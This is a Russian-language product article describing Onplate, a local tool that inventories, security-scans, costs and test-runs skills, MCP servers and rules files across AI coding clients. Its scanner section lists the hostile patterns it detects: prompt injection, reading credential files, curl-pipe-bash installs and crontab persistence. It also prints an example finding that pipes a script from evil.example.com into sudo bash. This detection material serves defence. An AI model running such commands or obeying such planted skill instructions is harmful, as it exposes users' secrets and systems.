Задача
Первая неделя с AI-клиентом выглядит так: поставили Claude Code, скопировали скилл
у коллеги, взяли второй из маркетплейса, дописали CLAUDE.md под свой проект.
Каждое добавление решается одной строкой: копируем файл в папку клиента, и оно
работает.
Работает потому, что скилл, субагент, файл правил и описание MCP-сервера это файлы,
которые клиент вчитывает в сессию сам, без отдельной команды. Скилл при этом не
заметка: это список инструкций, которым модель последует. Поэтому скопированный
файл может привести к модели, читающей ~/.aws/credentials, и из окна чата этого
не видно.
За год такие решения складываются. На одном ноутбуке оказывается пять клиентов: Claude Code, Codex CLI, Cursor, GLM и OpenCode, а в них скиллы, MCP-серверы, субагенты, команды, hooks и файлы правил. Вот что получается на диске:
~/.claude/skills/go-review/SKILL.md добавлен руками, версия неизвестна
~/.claude/agents/db-migrator.md скопирован у коллеги
~/.codex/ тот же скилл, редакция постарее
~/.cursor/ копия, которую модель не читает
<project>/.agents/skills/ читают и Codex, и Cursor
<project>/.claude/skills/ приехал вместе с репозиторием
<project>/.mcp.json три сервера, один нераспознанный
~/CLAUDE.md, <project>/CLAUDE.md читается раньше любого скилла
Каждый из этих файлов доезжает до модели. И ни один не отвечает на вопросы о себе: откуда он взялся, какая это версия, проверял ли его кто-нибудь, сколько токенов он тратит на каждом запросе и срабатывал ли он хоть раз за последний месяц.
Onplate это локальное приложение, которое отвечает на эти вопросы про файлы, которые уже лежат на диске. Оно задаёт им одну форму:
откуда взялся ресурс
маркетплейс, Git-репозиторий, папка на этом диске или написан здесь
|
v
хранилище onplate одна запись на ресурс
история версий вердикт сканера, риск от 0 до 100
цена в токенах вызовы за 30 дней
|
| установка: копия, записанная в папку одного клиента
v
AI-клиенты область
Claude Code ~/.claude/skills/ глобальная
Codex CLI ~/.codex/ глобальная
Cursor ~/.cursor/ глобальная
GLM глобальная
OpenCode глобальная
любой из них <project>/.claude/skills/ проектная
|
| привязка: запись, версия, клиент, область, путь
v
каждая сессия, которую открывает этот клиент
Ничего нового в этой форме нет. Файлы уже лежат на диске и уже доезжают до модели; не хватает среднего ряда, где у ресурса есть версия, вердикт, цена и запись об использовании.
Дальше проверки идут по этой форме, в том порядке, в каком это имеет смысл:
Действие 1 скан что лежит на диске и откуда взялось
Действие 2 вердикт что внутри
Действие 3 цена сколько стоит на каждом запросе
Действие 4 прогон берётся ли модель за это вообще
Что здесь значат «хранилище», «установка» и «привязка»
Слово «установлено» покрывает три разных состояния, и на их разделении держится весь интерфейс.
Хранилище это библиотека Onplate. У скилла, который туда сохранён, есть история версий и вердикт сканера, а ни один AI-клиент про него пока не знает.
Установка это копия, записанная в папку конкретного клиента. С этого момента клиент начинает её использовать.
Привязка это запись, которая связывает первое со вторым: скилл go-review
версии 1.2.0 установлен в Claude Code, глобально, по такому-то пути. У одной
записи в хранилище столько привязок, сколько клиентов её используют.
Скилл может лежать в хранилище и быть невидимым ни для одного клиента. А может лежать на диске, не имея записи в хранилище вовсе. Из окна чата эти два случая выглядят одинаково, поэтому на экранах они разведены.
Действие 1: узнать, что уже лежит на диске
Первая операция это «Сканировать систему». Скан проходит по домашним каталогам
поддерживаемых клиентов (~/.claude, ~/.codex, ~/.cursor и остальные), по
проектам Claude Code и по всему, что перечислено в блоке «Где искать»: папки с
проектами разбираются рекурсивно, отдельные папки со скиллами добавляются
поштучно. Результат одна строка:
Найдено 12: можно импортировать 8, изменено вручную 2, конфликт 1, неизвестный формат 1
За каждым словом свой следующий шаг:
| Статус | Что это значит |
|---|---|
| Можно импортировать | обычный скилл, его можно взять в хранилище как есть |
| Изменено вручную | Onplate знает этот скилл, но файл на диске отличается от версии в хранилище |
| Конфликт | файл не совпадает ни с одной сохранённой версией, придётся решать, чья правка главнее |
| Неизвестный формат | файл лежит в папке со скиллами, но разобрать его не удалось |
| Нет на диске | привязка говорит, что файл установлен, а файла нет |
Рядом с результатом отчёт «Где искали»: сколько каталогов просмотрено, сколько
скиллов найдено, каких каталогов на диске нет и где не хватило прав. Из-за этого
отчёта пустой результат перестаёт быть загадкой. «Скиллов не найдено» и «~/.codex
на этой машине не существует» это разные ответы, и только один из них означает,
что скан сработал.
С каждой находкой можно сделать одно из четырёх. Импорт копирует её в хранилище, где появляются версии, проверка и возможность поставить её в другие клиенты. Взять под управление идёт дальше и связывает найденный файл с записью в хранилище, чтобы обновления доезжали до него. Игнорировать означает «я знаю про этот файл, не показывай его больше». Удалить с диска убирает его из папки клиента после подтверждения.
Файлы инструкций перечислены отдельно: CLAUDE.md, AGENTS.md и им подобные, со
счётчиком блоков, которые Onplate туда записал сам. Файл, к которому никто не
прикасался, помечен «только ваш текст».
Действие 2: сканер работает раньше модели
Поломка в скилле не похожа на упавшую сборку. Всё собирается, тесты проходят, а модель делает то, что ей велел чужой файл, и в ответе это выглядит как обычная работа. Поэтому у каждой записи в хранилище есть вердикт сканера.
Сканер ищет prompt injection, инструкции отправить содержимое файлов или диалога
наружу, чтение хранилищ секретов (~/.aws/credentials, ~/.ssh/id_rsa, .env,
Keychain), shell-команды, которые удаляют файлы или повышают права через sudo,
небезопасную установку вида curl … | bash, закрепление через crontab и профили
оболочки, заметание следов (chmod 777, отключение истории), скрытые символы
Unicode, base64-блобы и ссылки на внешние адреса, которые взвешиваются против
списка доверенных доменов.
Находка это не ярлык категории. В ней есть доказательство:
уровень опасно
строка 47
улика curl https://evil.example.com | sudo bash
правило небезопасная установка: скачанный код запускается через sudo
что делать убрать пайп в оболочку либо положить скрипт рядом и прочитать его
Отдельно распознаются две формы маскировки: обфускация и многострочные команды,
склеенные переносом, чтобы curl … \ и | bash на следующей строке не прошли за
два безобидных фрагмента.
На выходе вердикт, числовой риск от 0 до 100 и уверенность самого сканера, которая падает до средней или низкой там, где сработала эвристика или нашлась обфускация:
| Вердикт | Что это значит | Чего стоит установка |
|---|---|---|
| Безопасно | находок нет либо они информационные | ничего |
| Подозрительно | есть строки, которые стоит прочитать глазами | одного взгляда на находки |
| Опасно | найдены опасные конструкции | письменного обоснования |
Над списком находок две сводки, отвечающие на два вопроса, которые и возникают при проверке: все внешние адреса, к которым обращается скилл, и все инструменты и разрешения, которые он просит.
Сканеры перебирают, поэтому находку можно закрыть тремя способами: принять риск с комментарием, ложное срабатывание или никогда не считать находкой для правила, которое шумит по всему каталогу. Первые два относятся к одной записи, третий ко всему сразу. Правила со временем строжеют, и когда обновление перерастает старое подтверждение, находка помечается «подтверждение устарело» и снова идёт в зачёт.
Опасный скилл всё равно можно установить. Нельзя установить его незаметно: обоснование это обязательный текст, он остаётся на карточке, и массовая установка этот барьер не обходит. Опасные записи добавляются по одной, после чтения находок.
Действие 3: сколько конфигурация стоит на каждом запросе
Метаданные установленных скиллов попадают в сессию до первого сообщения, поэтому у большой глобальной конфигурации есть постоянная цена. Onplate считает её отдельно для каждого клиента и делит так, как её видит модель:
для каждого AI-инструмента
├── инструкции CLAUDE.md, AGENTS.md и то, что подтягивают их @-импорты
├── проектные ресурсы установленные в эту папку
└── глобальные ресурсы установленные в инструмент, видны во всех проектах
всегда в контексте тратится на каждом запросе
максимум при активации добавляется только если ресурс сработал
Эти два числа разведены намеренно. Их сумма даёт итог, который не наступает никогда, а число, которое не наступает, ничего не помогает решить.
Вторая половина цены это вопрос, купили ли что-нибудь за эти токены. Локальные
журналы клиентов записывают, какие скиллы и субагенты действительно вызывались, и у
каждого вызова названо подтверждение: вызов Skill или Task, записанный Claude Code,
SKILL.md, открытый Codex из известной папки скиллов, вызов skill, записанный
OpenCode. У анализа три ограничения, и все три проговорены, а не сглажены:
содержимое диалогов не сохраняется, вызовы MCP не угадываются там, где источник не
позволяет опознать их надёжно, а нулевая активность показывается как «поддерживаемых
журналов не найдено», а не как ноль.
«Не вызывался 30 дней» само по себе ничего не доказывает. Рядом с числом токенов, которые этот скилл тратит на каждом запросе, оно превращается в решение.
Действие 4: срабатывает ли скилл вообще
Установлен, безопасен, цена известна – и главный вопрос всё ещё открыт: когда придёт подходящая задача, возьмётся ли модель за скилл? Это почти целиком зависит от описания, и по файлам на диске этого не видно.
Прогон отвечает фактом. По умолчанию задача собирается из описания самого скилла, потому что проверяется именно описание. Командная строка клиента запускается обычным дочерним процессом во временном каталоге, где лежит один этот скилл:
временный каталог проверяемый скилл и ничего кроме
дочерний процесс родная CLI клиента, ваша подписка, ваша квота
после прогона каталог удаляется, ваши настройки не тронуты
Модель для прогона берётся дешёвая, и это не экономия: проверяется описание, а не сила модели. Один и тот же прогон стоил $0.13 на Sonnet и $0.03 на Haiku, а лимит траты ($1 по умолчанию) останавливает случайно огромную задачу.
Вердикт вычитывается из журнала сессии, который клиент ведёт сам, а не из ответа модели на вопрос «ну что, использовала скилл?». Исходов пять, и только два из них про описание:
| Результат | На что он указывает |
|---|---|
| Скилл сработал | ни на что, показаны шаг, токены, время и цена |
| Скилл не сработал | на описание, оно показано здесь же с кнопкой в редактор |
| Задачу забрал другой скилл | на соседа, которого модель выбирает первым, а не на это описание |
| Скилл даже не предложили | на имя или frontmatter, до модели он не дошёл |
| Остановлено по времени или лимиту | ни на что, проверка прервана на середине |
Прогоны сохраняются, и ценность не в одной записи, а в паре. Правим описание, повторяем ту же задачу, и сравнение называется словами: стало лучше, перестал срабатывать после обновления (регрессия, потому что версия изменилась, а задача нет) или тот же скилл ответил иначе (та же версия и та же задача, то есть разброс модели, и об этом говорится прямо, а не выдаётся за поломку).
У прогона две границы. Скилл с вердиктом «опасно» отклоняется до старта, потому что прогон выполняет инструкции по-настоящему. И прогону нужна командная строка: у GLM её нет, поэтому в матрице совместимости эта клетка честно пустая.
Пять клиентов, пять наборов правил
Скиллы работают во всех пяти. Почти ничего больше не работает везде, и общего правила установки, в которое можно свести различия, не существует:
| Клиент | Скиллы | Усилие на обдумывание | Список разрешённых инструментов | CLI, то есть прогоны |
|---|---|---|---|---|
| Claude Code | да | да | да | да |
| Codex CLI | да | да | нет | да |
| Cursor | да | нет | нет | да |
| GLM | да | да | да | нет |
| OpenCode | да | нет | нет | да |
У Cursor есть отдельное предупреждение, и оно измерено, а не вычитано из
документации. Cursor читает чужие каталоги проекта, .claude, .codex и
.agents, раньше собственного .cursor. Если скилл с таким именем уже лежит в
одном из них, копия, записанная в .cursor, попадает на диск и до модели не
доезжает:
<project>/.claude/skills/go-review/ читается первым, побеждает он
<project>/.codex/
<project>/.agents/skills/
<project>/.cursor/skills/go-review/ лежит на диске, не читается
Onplate говорит об этом до установки, а не после.
Общее соглашение .agents/skills тоже поддерживается и намеренно числится папкой,
а не клиентом. Codex и Cursor читают её оба, поэтому одна копия там заменяет две.
Claude Code её не читает, и именно поэтому называть её инструментом было бы
неправдой. Сам Onplate эту папку не создаёт: предлагать место, которого нет, значит
приглашать его выдумать.
Режимы запуска
Клиент запускается набором решений: какой моделью работать, сколько усилий тратить на обдумывание, что можно делать без вопросов, какими инструментами пользоваться, какие каталоги видны. Держать рабочее сочетание в истории терминала неудобно, а ошибка в части про разрешения обходится дорого.
Режим это то же сочетание, собранное заранее. Точная команда показана до нажатия кнопки: её можно прочитать, скопировать и запустить самому. То, чего выбранный клиент не поймёт, названо отдельно по таблице выше: предлагать Cursor настройку усилия бессмысленно. Вместо молчаливой потери части конфигурации пользователь заранее видит, что до клиента не доедет.
Запуск режима ничего не меняет на диске. Если настройка нужна и при запуске мимо Onplate, режим можно записать в файл настроек клиента: до записи показано, что именно изменится, а рядом остаётся копия прежнего файла.
Ступень «без вопросов» это отдельное решение, и перед запуском о нём сказано прямым текстом: на этой ступени клиент не спросит ни перед изменением и удалением файлов, ни перед запуском команд.
Маркетплейс поставляет, но не устанавливает
Маркетплейс помогает быстро найти скилл, MCP-сервер или субагента. Установка прямо из внешнего каталога это другой разговор, потому что два вопроса, которые её и решают, – что внутри файла и кто его написал, – установка в один клик как раз пропускает.
Здесь маркетплейс только поставляет ресурс. В предпросмотре виден полный текст
SKILL.md с подсветкой опасных строк прямо в нём и объяснением находок ниже,
ссылка на исходную страницу и кнопка копирования. Уже добавленные скиллы помечены,
поэтому лишняя копия не создаётся по ошибке. Опасный скилл импортируется только с
письменным обоснованием.
Три детали делают раздел рабочим, а не декоративным. Видны суточные квоты: остаток запросов и время обновления показаны в интерфейсе, а не вылезают неудавшимся поиском. Свой каталог подключается по API названием, Base URL и зашифрованным ключом, который после сохранения виден только маской, плюс маппинг полей, если JSON не совпадает с ожидаемым, и кнопка проверки до сохранения. А вкладка MCP опирается на официальный реестр Model Context Protocol, где описание сервера превращается в локальную конфигурацию: URL и заголовки для удалённого, команда с аргументами и переменными окружения для локального.
Секретные поля это единственное, чего реестр не приносит никогда. Токены, ключи и чувствительные заголовки вводятся локально, хранятся зашифрованными и попадают в конфигурацию клиента только в момент установки. В выгрузках и в том, что публикуется команде, их нет.
Найти ресурс и установить его остаются двумя отдельными действиями. Скилл не рассыпается по всем проектам, а MCP-сервер не получает секреты, пока их не введут руками.
Конфликты, журнал и возможность вернуться
Два скилла могут требовать противоположного, и результатом будет не сообщение об ошибке, а модель, которая ведёт себя непредсказуемо:
скилл A «всегда отвечай максимально коротко»
скилл B «всегда расписывай ответ подробно, с примерами»
Проверка конфликтов сравнивает инструкции попарно и показывает конкретные строки с
номерами, а рядом что делать: переформулировать одну, объединить их или снять одну
из установок. MCP-серверы сталкиваются иначе, на именах в конфигурации: чужая
запись уже занимает имя, или два ваших сервера претендуют на один ключ, и установка
одного стирает другой. Субагент это один файл на имя (<agents>/<name>.md),
поэтому чужой файл с таким именем был бы перезаписан, и этот случай помечен как
столкновение с чужим файлом.
Каждая управляемая установка, обновление, откат и снятие попадают в журнал операций. Удалённые ресурсы и версии сначала уходят в корзину. Обратимость нужна здесь по конкретной причине: сломанная AI-настройка обнаруживается через несколько сессий, когда её уже никто не связывает с правкой прошлой недели.
Две асимметрии стоит знать до первого удаления. Восстановление из корзины возвращает запись и её версии и не воссоздаёт установки, снятые с диска. А удаление MCP-сервера из хранилища вообще не проходит через корзину, потому что зашифрованные секреты восстановить нельзя.
Локальная работа и приватность
Обязательной учётной записи, телеметрии и облачного бэкенда нет. Сканирование, проверки безопасности, расчёт контекста и разбор журналов идут на локальной машине.
Сеть нужна только там, где без неё не обойтись: поиск в маркетплейсе, Git-источники, реестры MCP, проверка обновлений и прогон скилла, который идёт через выбранного провайдера и тратит вашу квоту. История сессий машину не покидает.
Как разобрать настройку, которая уже есть
- Сканировать до того, как что-то менять. Годы копирования руками превращаются в список со статусами, и два статуса, которые требуют человека («изменено вручную» и «конфликт»), отделены от остальных восьми находок, которые не требуют.
- Читать отчёт «Где искали», а не только результаты. Короткий список находок означает либо чистую машину, либо каталог, который никто не открывал, и различить это можно только по отчёту.
- Проверять текст до того, как появится файл. Чужой скилл можно вставить в сканер обычным текстом, и это дешевле, чем добавить его и потом решать.
- Сначала посчитать глобальную область. Глобальный скилл это метаданные в каждой сессии клиента, включая все сессии, к которым он не имеет отношения. Это единственная цена, которая платится безусловно.
- Прогонять скиллы собственного производства. Скилл, описание которого никто не писал всерьёз, с наибольшей вероятностью лежит в контексте и не срабатывает, а прогон закрывает этот вопрос за несколько центов.
Подводные камни
Файл может быть установлен и всё равно не прочитан. Приоритет Cursor над
.claude, .codex и .agents означает, что корректная установка в .cursor
бывает мертва с рождения. Та же форма возникает всюду, где два клиента читают один
каталог по разным правилам.
Установка может пережить запись в хранилище. Удаляем скилл из хранилища, файл остаётся в папке клиента, продолжает влиять на модель, и им никто не управляет. Такие случаи показаны как осиротевшие установки, и удаление убирает и файл, и привязку.
Восстановление из корзины это не отмена удаления. Запись и версии возвращаются. Установки нет, их придётся сделать заново.
У снятой находки есть срок годности. Правила строжеют, и подтверждение, которое больше не покрывает то, что правило теперь видит, помечается устаревшим, а не принимается молча.
Один прогон не гарантия. Модели недетерминированы, и отчёт говорит об этом, а не выдаёт единственный исход за свойство скилла.
Подтверждённая запись это не подтверждение того, что оно работает. После установки MCP подтверждение означает, что конфигурация перечитана и ожидаемая запись в ней есть. Запускается ли сервер, устанавливается ли соединение и доступны ли инструменты – отдельная проверка.
Что из этого следует
- Три состояния одного ресурса (в хранилище, установлен, записан привязкой) и делают инвентаризацию возможной. Любой полезный вопрос («какая версия где стоит», «что можно удалить») это вопрос про отношение между этими тремя, а не про файл.
- Скилл это исполняемые инструкции, поэтому проверка на входе полезнее код-ревью, которое никто не проводит. Полезная часть находки это строка-улика и её номер, а не категория.
- У контекста две цены, одна на каждом запросе и одна при активации, и безусловно платится только первая. Глобальная область это место, где эта цена накапливается без чьего-либо решения её платить.
- Срабатывает ли скилл – вопрос эмпирический, и ответ на него дешёвый. Несколько центов и временный каталог заменяют спор о том, достаточно ли хорошо описание.
- У пяти клиентов нет общего набора правил. Различия в путях, приоритетах и поддерживаемых настройках стоит носить явно, потому что альтернатива это конфигурация, которая выглядит применённой и не применена.
Цепочка короткая, когда каждое звено видно. Файл оказывается в каталоге клиента, клиент вчитывает его в каждую сессию, модель следует тому, что там написано, а цена появляется на каждом запросе независимо от того, использовался скилл или нет. Onplate не добавляет к этой цепочке ещё одно звено. Он заставляет каждое звено отвечать за себя: откуда файл, что внутри, сколько стоит и пользовался ли им кто-нибудь вообще.
Onplate: onplate.tsymbal.dev · документация